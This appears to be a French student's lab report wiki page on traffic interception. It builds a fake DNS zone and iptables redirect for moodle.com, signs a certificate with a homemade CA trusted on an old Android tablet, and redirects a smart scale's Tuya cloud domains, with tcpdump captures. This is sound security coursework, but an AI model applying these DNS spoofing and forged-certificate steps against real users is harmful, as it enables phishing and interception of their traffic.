authoritative;&lt;br /&gt;
&lt;br /&gt;
subnet 172.16.10.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.10.100 172.16.10.200;&lt;br /&gt;
  option domain-name-servers 172.16.10.1;&lt;br /&gt;
  option routers 172.16.10.1;&lt;br /&gt;
  default-lease-time 600;&lt;br /&gt;
  max-lease-time 7200;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on implémente un serveur DNS minimal dans le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.options&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
        recursion yes;&lt;br /&gt;
        allow-query {172.16.10.0/24; 127.0.0.1;};&lt;br /&gt;
&lt;br /&gt;
         forwarders {&lt;br /&gt;
                8.8.8.8;&lt;br /&gt;
                1.1.1.1;&lt;br /&gt;
         };&lt;br /&gt;
&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
        listen-on {127.0.0.1; 172.16.10.1;};&lt;br /&gt;
        listen-on-v6 { none; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et enfin, on met en place une mascarade entre le VLAN 410 et le routeur du réseau des salles de projets pour donner l'accès à Internet.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Interception de flux (30/09) =&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Pour cette partie, on va ajouter une zone primaire à notre serveur DNS avec le nom Internet du site que l'on veut rediriger vers notre machine.&lt;br /&gt;
&lt;br /&gt;
Ici, ce sera le merveilleux &amp;lt;code&amp;gt;moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
D'abord, on modifie &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;moodle.com&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.moodle.com&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on crée la fameuse zone &amp;lt;code&amp;gt;db.moodle.com&amp;lt;/code&amp;gt; dans le même répertoire &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    200&lt;br /&gt;
@       IN      SOA     ns.moodle.com. admin.moodle.com. (&lt;br /&gt;
                        5       ;&lt;br /&gt;
                        3600    ;&lt;br /&gt;
                        1800    ;&lt;br /&gt;
                        604800  ;&lt;br /&gt;
                        86400   ;&lt;br /&gt;
)&lt;br /&gt;
        IN      NS      ns.moodle.com.&lt;br /&gt;
ns      IN      A       172.16.10.1&lt;br /&gt;
@       IN      A       172.16.10.1&lt;br /&gt;
www     IN      CNAME   ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier si notre configuration est correcte, on exécute ces deux commandes :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkconf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkzone moodle.com /etc/bind/db.moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
Dans cette partie, on ajoute une règle &amp;lt;code&amp;gt;iptables&amp;lt;/code&amp;gt; pour rediriger le flux TCP vers un port local, le &amp;lt;code&amp;gt;8080&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iptables -t nat -A PREROUTING -i eth0  -p tcp --dport 80 -j REDIRECT --to-ports 8080&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur apache sécurise (04/10) ==&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on va créer un certificat auto-signé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -nodes -days 365   -newkey rsa:2048   -keyout /etc/ssl/apache/apache-selfsigned.key   -out /etc/ssl/apache/apache-selfsigned.crt   -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Popo/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on configure &amp;lt;code&amp;gt;Apache2&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
  GNU nano 7.2      /etc/apache2/sites-available/secure-site.conf&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache.key&lt;br /&gt;
&lt;br /&gt;
    # Optionnel : log&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/ssl-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/ssl-access.log combined&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Redirection HTTP  ^f^r HTTPS&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
    Redirect permanent / https://moodle.com/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Maintenant, en prévision de la suite (voir explication dans Machine virtuelle Android), on va créer une autorité de certification nommée CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -new -nodes -keyout ca.key -sha256 -days 365 -out ca.crt -subj &amp;quot;/CN=CertiFiable&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on vient générer une demande de signature de certificat :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -new -newkey rsa:2048 -nodes -keyout apache.key -out apache.csr -subj &amp;quot;/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, on vient signer le site avec le certificat de CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl x509 -req -in apache.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out apache.crt -days 365 -sha256&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; =&lt;br /&gt;
&lt;br /&gt;
== Première tentative ==&lt;br /&gt;
Actuellement, si on navigue sur internet et que l'on se rend sur moodle.com, on atterrit bien sûr le faux Moodle, mais comme le téléphone ne connait pas l'autorité de certification nommé CertiFiable, on a le droit à ce magnifique message de connexion non sécurisée :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Avertissement moodle.png|sans_cadre]][[Fichier:Moodle le magnifique.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Malheureusement, il est aujourd'hui impossible d'ajouter facilement une autorité de certification sur son téléphone.&lt;br /&gt;
&lt;br /&gt;
C'est pour cela qu'une solution proposée est d'installer une machine virtuelle d'une ancienne version d'&amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; où il était possible d'en ajouter.&lt;br /&gt;
&lt;br /&gt;
En ayant suivi ce tuto (https://help.clouding.io/hc/en-us/articles/4405454393756-How-to-virtualize-Android-with-QEMU-KVM), j'ai réussi à installer une VM sur Zabeth4 (j'ai dû prendre une autre iso car celle du site était inaccessible). &lt;br /&gt;
&lt;br /&gt;
J'ai installé &amp;lt;code&amp;gt;VNC Viewer&amp;lt;/code&amp;gt; pour pouvoir manipuler la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
En étant sur la VM, j'ai pu me rendre compte qu'il n'était pas possible de se connecter au WiFi, c'est la connexion du pc qui est simulé comme un réseau WiFi dans la VM.&lt;br /&gt;
&lt;br /&gt;
J'ai pu réfléchir à deux solutions avant que la VM ne crash d'elle-même et soit impossible à redémarrer...&lt;br /&gt;
&lt;br /&gt;
La première est toute simple, connecter la Zabeth directement au WiFi, ce qui est difficile à distance. La seconde, qui est je pense possible, est de changer la carte réseau dans les fichiers de conf de la VM pour mettre celle supportant le WiFi.&lt;br /&gt;
&lt;br /&gt;
Je n'ai donc pu tester aucune de ces deux solutions, la VM n'étant plus.&lt;br /&gt;
&lt;br /&gt;
== Seconde tentative ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw -cdrom *android-x86*.iso -boot d&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64     -m 2048     -enable-kvm     -cpu host     -smp 2     -display sdl     -drive file=android.img,format=raw,if=virtio     -usb     -device usb-host,vendorid=0x148f,productid=0x5370&lt;br /&gt;
&lt;br /&gt;
== Ultime tentative ==&lt;br /&gt;
//TO DO Ajouter méthode routage android Android studio.&lt;br /&gt;
&lt;br /&gt;
= Machine &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; (06/10) =&lt;br /&gt;
Pour cette dernière partie, j'ai retrouvé une tablette sous &amp;lt;code&amp;gt;Android 4.4 KitKat&amp;lt;/code&amp;gt; qui permet d'ajouter des autorités de certification.&lt;br /&gt;
&lt;br /&gt;
C'est donc ce que j'ai fait :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo_certifiable.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant, on constate en se connectant sur moodle.com à partir de cette tablette que l'on est bien redirigé vers le faux site et qu'il est sécurisé avec le magnifique cadenas vert.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo moodle.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
(cette page web date du 06/10/25, elle n'est plus valable depuis le 10/10/25...)&lt;br /&gt;
&lt;br /&gt;
= Nedis Wi-Fi Smart Personal Scales =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans ce second TP, nous allons jouer avec ce pèse personne de nedis. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, j'ai connecté la balance au résau SE5-SSID10.&lt;br /&gt;
&lt;br /&gt;
Puis j'ai remarqué que quand je tentai de me peser, la balance affiche err2.&lt;br /&gt;
&lt;br /&gt;
Après une courte investigation, il s'agit d'une balance qui émet des signaux électriques pour analyser la composition corporelle donc si on se pèse avec des chaussures, cela pose problème.&lt;br /&gt;
&lt;br /&gt;
Pour la suite du projet, on se pèsera avec les mains.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Poid_sur_app_nedis.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On constate sur ces paquets la requête de la balance pour obtenir une IP, puis le moment ou elle l'obtient. A chaque fois qu'elle redémarre, elle vient récupérer une IP, elle n'aura donc pas forcement la 105.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:WS connection balance.png|sans_cadre|858x858px]]&lt;br /&gt;
&lt;br /&gt;
Je peux donc ping ma balance depuis mon pc (celui qui host ma vm)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PIng balance.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
tcpdump -i eth1 -n port 53:&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
14:46:51.115996 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 13861+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.125611 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 13861 3/0/0 A 3.120.92.134, A 18.184.31.90, A 35.156.44.172 (79)&lt;br /&gt;
14:46:51.168250 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 59035+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.177967 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 59035 3/0/0 A 18.198.62.99, A 18.158.227.228, A 3.67.116.46 (79)&lt;br /&gt;
14:46:51.703179 IP 172.16.10.102.57661 &amp;gt; 172.16.10.1.53: 30982+ AAAA? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.706085 IP 172.16.10.102.57662 &amp;gt; 172.16.10.1.53: 15654+ A? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.713159 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57661: 30982 3/0/0 AAAA 2a05:d014:afa:af02:262a:be09:e328:ff21, AAAA 2a05:d014:afa:af01:87dc:dc67:35a1:5bfe, AAAA 2a05:d014:afa:af00:1ee2:1f00:e061:e8bf (115)&lt;br /&gt;
14:46:51.715736 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57662: 15654 3/0/0 A 3.78.92.3, A 35.159.150.3, A 3.121.33.91 (79)&lt;br /&gt;
&lt;br /&gt;
56 packets captured&lt;br /&gt;
56 packets received by filter&lt;br /&gt;
0 packets dropped by kernel&lt;br /&gt;
[4343449.827028] device eth1 left promiscuous mode&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;visiblement notre balance communque avec tuya via m2.tuyaeu.com et a3.tuyaeu.com&lt;br /&gt;
&lt;br /&gt;
et la vm android a1.tuyaeu.com&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
tcpdump -i eth1 -n port 53: après avoir crée dns, site, etc a1.tuyaeu.com&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
root@SE5:/etc/apache2/sites-available# tcpdump -i eth1 -n port 53&lt;br /&gt;
[5544865.540418] device eth1 entered promiscuous mode&lt;br /&gt;
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode&lt;br /&gt;
listening on eth1, link-type EN10MB (Ethernet), snapshot length 262144 bytes&lt;br /&gt;
12:30:55.146437 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.17620: 23156 5/0/0 CNAME reddit.map.fastly.net., A 151.101.129.140, A&lt;br /&gt;
 151.101.1.140, A 151.101.65.140, A 151.101.193.140 (129)&lt;br /&gt;
12:30:55.168796 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.24249: 64622 2/0/0 CNAME us-central1-gcp.api.sc-gw.com., A 35.190.43.&lt;br /&gt;
134 (109)&lt;br /&gt;
12:30:55.322498 IP 172.16.10.100.26394 &amp;gt; 172.16.10.1.53: 29420+ A? scontent-cdg4-1.xx.fbcdn.net. (46)&lt;br /&gt;
12:30:56.095075 IP 172.16.10.100.62675 &amp;gt; 172.16.10.1.53: 46396+ A? cf-st.sc-cdn.net. (34)&lt;br /&gt;
12:30:56.121796 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.62675: 46396 1/0/0 A 3.163.248.4 (50)&lt;br /&gt;
12:30:56.539099 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.26394: 29420 1/0/0 A 185.60.219.2 (62)&lt;br /&gt;
12:30:57.289763 IP 172.16.10.100.7071 &amp;gt; 172.16.10.1.53: 14247+ A? usc1-gcp-v62.api.snapchat.com. (47)&lt;br /&gt;
12:30:57.302767 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.7071: 14247 2/0/0 CNAME usc1-gcp-v62.api.sc-gw.com., A 34.120.159.232&lt;br /&gt;
 (103)&lt;br /&gt;
12:30:58.490060 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 50294+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.490174 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 50294* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
12:30:58.540041 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 23785+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.540132 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 23785* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
12:31:00.979103 IP 172.16.10.100.63625 &amp;gt; 172.16.10.1.53: 63574+ A? gql-fed.reddit.com. (36)&lt;br /&gt;
12:31:00.997721 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.63625: 63574 5/0/0 CNAME reddit.map.fastly.net., A 151.101.65.140, A &lt;br /&gt;
151.101.129.140, A 151.101.193.140, A 151.101.1.140 (135)&lt;br /&gt;
12:31:04.461507 IP 172.16.10.102.63971 &amp;gt; 172.16.10.1.53: 20792+ A? discord.com. (29)&lt;br /&gt;
12:31:04.461519 IP 172.16.10.102.54572 &amp;gt; 172.16.10.1.53: 15444+ Type65? discord.com. (29)&lt;br /&gt;
12:31:04.493098 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.63971: 20792 5/0/0 A 162.159.138.232, A 162.159.136.232, A 162.159.12&lt;br /&gt;
8.233, A 162.159.135.232, A 162.159.137.232 (109)&lt;br /&gt;
12:31:04.493306 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.54572: 15444 1/0/5 Type65 (158)&lt;br /&gt;
18 packets captured&lt;br /&gt;
18 packets received by filter&lt;br /&gt;
0 packets dropped by kernel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;tcpdump -i eth1 host 172.16.10.105 and not port 53 -A&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode&lt;br /&gt;
listening on eth1, link-type EN10MB (Ethernet), snapshot length 262144 bytes&lt;br /&gt;
12:36:41.148741 IP 172.16.10.0.bootps &amp;gt; 172.16.10.105.bootpc: BOOTP/DHCP, Reply, length 300&lt;br /&gt;
E..H..........&lt;br /&gt;
...&lt;br /&gt;
i.C.D.4......&amp;lt;\)...........&lt;br /&gt;
i..........|.-L........................................................................................................&lt;br /&gt;
..................................................................................................c.Sc5..6...&lt;br /&gt;
.3....X..........&lt;br /&gt;
.....&lt;br /&gt;
..	plil.info................&lt;br /&gt;
12:36:41.161323 IP 172.16.10.0.bootps &amp;gt; 172.16.10.105.bootpc: BOOTP/DHCP, Reply, length 300&lt;br /&gt;
E..H..........&lt;br /&gt;
...&lt;br /&gt;
i.C.D.4g.....[.}T..........&lt;br /&gt;
i..........|.-L........................................................................................................&lt;br /&gt;
..................................................................................................c.Sc5..6...&lt;br /&gt;
.3....X..........&lt;br /&gt;
.....&lt;br /&gt;
..	plil.info................&lt;br /&gt;
12:36:41.167616 ARP, Request who-has 172.16.10.105 tell 0.0.0.0, length 46&lt;br /&gt;
..........|.-L............&lt;br /&gt;
i....P....Y...c....&lt;br /&gt;
12:36:41.490919 ARP, Request who-has 172.16.10.105 tell 0.0.0.0, length 46&lt;br /&gt;
..........|.-L............&lt;br /&gt;
i.r.u....).........&lt;br /&gt;
12:36:41.993612 ARP, Request who-has 172.16.10.105 tell 172.16.10.105, length 46&lt;br /&gt;
..........|.-L..&lt;br /&gt;
i........&lt;br /&gt;
i..HE.....f........&lt;br /&gt;
12:36:42.011664 ARP, Request who-has 172.16.10.1 tell 172.16.10.105, length 46&lt;br /&gt;
..........|.-L..&lt;br /&gt;
i........&lt;br /&gt;
.....up. ..........&lt;br /&gt;
12:36:42.011672 ARP, Reply 172.16.10.1 is-at 00:16:3e:23:74:42 (oui Unknown), length 28&lt;br /&gt;
..........&amp;gt;#tB..&lt;br /&gt;
...|.-L..&lt;br /&gt;
i&lt;br /&gt;
12:36:42.019053 IP 172.16.10.105.3872 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6509, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O&amp;gt;..&lt;br /&gt;
i..&lt;br /&gt;
.. &amp;quot;....m....`....&amp;lt;........&lt;br /&gt;
12:36:42.019100 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.3872: Flags [R.], seq 0, ack 6510, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.. .......nP.......&lt;br /&gt;
12:36:42.070419 IP 172.16.10.105.17034 &amp;gt; 172.16.10.1.https: Flags [S], seq 6509, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O&amp;lt;..&lt;br /&gt;
i..&lt;br /&gt;
.B......m....`...........&amp;lt;.&lt;br /&gt;
12:36:42.070442 IP 172.16.10.1.https &amp;gt; 172.16.10.105.17034: Flags [S.], seq 3767910189, ack 6510, win 64240, options [m&lt;br /&gt;
ss 1460], length 0&lt;br /&gt;
E..,..@.@..A..&lt;br /&gt;
...&lt;br /&gt;
i..B....-...n`...l.......&lt;br /&gt;
12:36:42.077437 IP 172.16.10.105.17034 &amp;gt; 172.16.10.1.https: Flags [.], ack 1, win 4380, length 0&lt;br /&gt;
E..(......O?..&lt;br /&gt;
i..&lt;br /&gt;
.B......n....P...4......&lt;br /&gt;
..&lt;br /&gt;
12:36:42.079986 IP 172.16.10.105.17034 &amp;gt; 172.16.10.1.https: Flags [P.], seq 1:68, ack 1, win 4380, length 67&lt;br /&gt;
E..k......N...&lt;br /&gt;
i..&lt;br /&gt;
.B......n....P...........&amp;gt;...:..BAohBAohbmd6aG91IFR1eVjaG5vbG9SB........................&lt;br /&gt;
12:36:42.080012 IP 172.16.10.1.https &amp;gt; 172.16.10.105.17034: Flags [.], ack 68, win 64173, length 0&lt;br /&gt;
E..(..@.@.....&lt;br /&gt;
...&lt;br /&gt;
i..B.........P...l...&lt;br /&gt;
12:36:42.080447 IP 172.16.10.1.https &amp;gt; 172.16.10.105.17034: Flags [P.], seq 1:8, ack 68, win 64173, length 7&lt;br /&gt;
E../..@.@.....&lt;br /&gt;
...&lt;br /&gt;
i..B.........P...l.........(&lt;br /&gt;
12:36:42.080533 IP 172.16.10.1.https &amp;gt; 172.16.10.105.17034: Flags [F.], seq 8, ack 68, win 64173, length 0&lt;br /&gt;
E..(..@.@.....&lt;br /&gt;
...&lt;br /&gt;
i..B....5....P...l...&lt;br /&gt;
12:36:42.101652 IP 172.16.10.105.17034 &amp;gt; 172.16.10.1.https: Flags [.], ack 8, win 4373, length 0&lt;br /&gt;
E..(.	....O&amp;lt;..&lt;br /&gt;
i..&lt;br /&gt;
.B..........5P...4s........&lt;br /&gt;
12:36:42.102116 IP 172.16.10.105.17034 &amp;gt; 172.16.10.1.https: Flags [R.], seq 68, ack 8, win 4380, length 0&lt;br /&gt;
E..(.&lt;br /&gt;
....O;..&lt;br /&gt;
i..&lt;br /&gt;
.B..........5P...4h.....&lt;br /&gt;
..&lt;br /&gt;
12:36:43.025368 IP 172.16.10.105.23869 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6511, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O6..&lt;br /&gt;
i..&lt;br /&gt;
.]=&amp;quot;....o....`............9&lt;br /&gt;
12:36:43.025387 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.23869: Flags [R.], seq 0, ack 6512, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.]=.......pP.......&lt;br /&gt;
12:36:44.025225 IP 172.16.10.105.22317 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6513, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O5..&lt;br /&gt;
i..&lt;br /&gt;
.W-&amp;quot;....q....`....+........&lt;br /&gt;
12:36:44.025269 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.22317: Flags [R.], seq 0, ack 6514, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.W-.......rP.......&lt;br /&gt;
12:36:45.025301 IP 172.16.10.105.31465 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6517, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O4..&lt;br /&gt;
i..&lt;br /&gt;
.z.&amp;quot;....u....`...ck......E.&lt;br /&gt;
12:36:45.025318 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.31465: Flags [R.], seq 0, ack 6518, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.z........vP....0..&lt;br /&gt;
12:36:46.025500 IP 172.16.10.105.9070 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6521, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O3..&lt;br /&gt;
i..&lt;br /&gt;
.#n&amp;quot;....y....`.............&lt;br /&gt;
12:36:46.025517 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.9070: Flags [R.], seq 0, ack 6522, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.#n.......zP.......&lt;br /&gt;
12:36:47.033189 IP 172.16.10.105.51179 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6527, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O2..&lt;br /&gt;
i..&lt;br /&gt;
...&amp;quot;.........`...._......y.&lt;br /&gt;
12:36:47.033206 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.51179: Flags [R.], seq 0, ack 6528, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;...........P...?$..&lt;br /&gt;
12:36:47.263020 ARP, Request who-has 172.16.10.105 tell 172.16.10.1, length 28&lt;br /&gt;
..........&amp;gt;#tB..&lt;br /&gt;
.........&lt;br /&gt;
i&lt;br /&gt;
12:36:48.287049 ARP, Request who-has 172.16.10.105 tell 172.16.10.1, length 28&lt;br /&gt;
..........&amp;gt;#tB..&lt;br /&gt;
.........&lt;br /&gt;
i&lt;br /&gt;
12:36:48.653641 IP 172.16.10.0.bootps &amp;gt; 172.16.10.105.bootpc: BOOTP/DHCP, Reply, length 300&lt;br /&gt;
E..H..........&lt;br /&gt;
...&lt;br /&gt;
i.C.D.4B...................&lt;br /&gt;
i..........|.-L........................................................................................................&lt;br /&gt;
..................................................................................................c.Sc5..6...&lt;br /&gt;
.3....Q..........&lt;br /&gt;
.....&lt;br /&gt;
..	plil.info................&lt;br /&gt;
12:36:48.663352 IP 172.16.10.0.bootps &amp;gt; 172.16.10.105.bootpc: BOOTP/DHCP, Reply, length 300&lt;br /&gt;
E..H..........&lt;br /&gt;
...&lt;br /&gt;
i.C.D.4.L.......p..........&lt;br /&gt;
i..........|.-L........................................................................................................&lt;br /&gt;
..................................................................................................c.Sc5..6...&lt;br /&gt;
